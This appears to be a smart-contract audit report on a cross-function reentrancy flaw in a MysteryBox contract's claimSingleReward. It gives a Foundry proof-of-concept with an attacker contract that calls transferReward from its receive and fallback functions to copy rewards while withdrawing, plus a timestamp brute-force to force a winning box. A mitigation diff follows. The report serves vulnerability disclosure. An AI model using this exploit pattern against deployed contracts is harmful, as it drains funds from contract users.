Summary
The MysteryBox::claimSingleReward function does not adhere to the CEI/FREI-PI principle, allowing any user with a non-zero value reward to potentially drain the contract balance. The function first makes an external call to msg.sender and only updates the rewardsOwned array afterward.
Vulnerability Details
In the claimSingleReward function, after validating the reward's existence, an external call is made to transfer the reward value to the user. This design can be exploited by attackers to copy their rewards to an arbitrary address through a fallback or receive function.
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender][_index];
}
An attacker with a non-zero reward, such as a "Bronze Coin," could manipulate the contract to call MysteryBox::transferReward, allowing them to duplicate rewards.
Impact
The vulnerability allows an attacker to copy a non-zero reward to an arbitrary address and withdraw it, resulting in potential financial loss for the contract.
Proof of Concept
Users buy boxes.
An attacker sets up a contract with a fallback function that invokes MysteryBox::transferReward.
The attacker buys a box, opens it, and receives a non-zero reward (which can be guaranteed by manipulating MysteryBox::openBox).
The attacker calls MysteryBox::transferReward from their contract, duplicating the reward to another address while withdrawing the reward value.
Proof of Code
Add the following code to the TestMysteryBoxTest.t.sol file within the MysteryBoxTest contract:
function calculateWinTimestampValue(address addr) public view returns (uint256) {
uint256 value;
uint256 winTime = block.timestamp;
do {
winTime++;
value = uint256(keccak256(abi.encodePacked(winTime, addr))) % 100;
} while (value < 95);
return winTime;
}
function testCrossReentrancy() public {
address receiver = makeAddr("receiver");
CrossReentrancyAttackerSender attacker = new CrossReentrancyAttackerSender(address(mysteryBox), receiver);
uint256 boxPrice = mysteryBox.boxPrice();
vm.deal(address(attacker), boxPrice);
uint256 winningTimestamp = calculateWinTimestampValue(address(attacker));
vm.warp(winningTimestamp);
uint256 startingContractBalance = address(mysteryBox).balance;
attacker.attack();
uint256 endingAttackerBalance = address(attacker).balance;
uint256 endingContractBalance = address(mysteryBox).balance;
uint256 rewardValue = attacker.rewardValue();
uint256 totalMysteryBoxValue = startingContractBalance + boxPrice;
vm.prank(receiver);
uint256 receiverRewards = mysteryBox.getRewards().length;
assertEq(endingAttackerBalance, rewardValue);
assertEq(endingContractBalance, totalMysteryBoxValue - rewardValue);
assertEq(receiverRewards, 1);
}
Add the following code to the TestMysteryBoxTest.t.sol file:
contract CrossReentrancyAttackerSender {
MysteryBox public mysteryBox;
address toAddr;
uint256 public rewardValue;
uint256 public boxPrice;
constructor (address _mysteryBox, address _toAddr) {
mysteryBox = MysteryBox(_mysteryBox);
boxPrice = mysteryBox.boxPrice();
toAddr = _toAddr;
}
function attack() external payable {
mysteryBox.buyBox{value: boxPrice}();
mysteryBox.openBox();
rewardValue = mysteryBox.getRewards()[0].value;
mysteryBox.claimSingleReward(0);
}
receive() external payable {
mysteryBox.transferReward(toAddr, 0);
}
fallback() external payable {
mysteryBox.transferReward(toAddr, 0);
}
}
Recommended Mitigation
To mitigate this issue, the MysteryBox::claimSingleReward function should update the rewardsOwned array before making any external calls, as illustrated below:
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
+ delete rewardsOwned[msg.sender][_index];
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender][_index];
}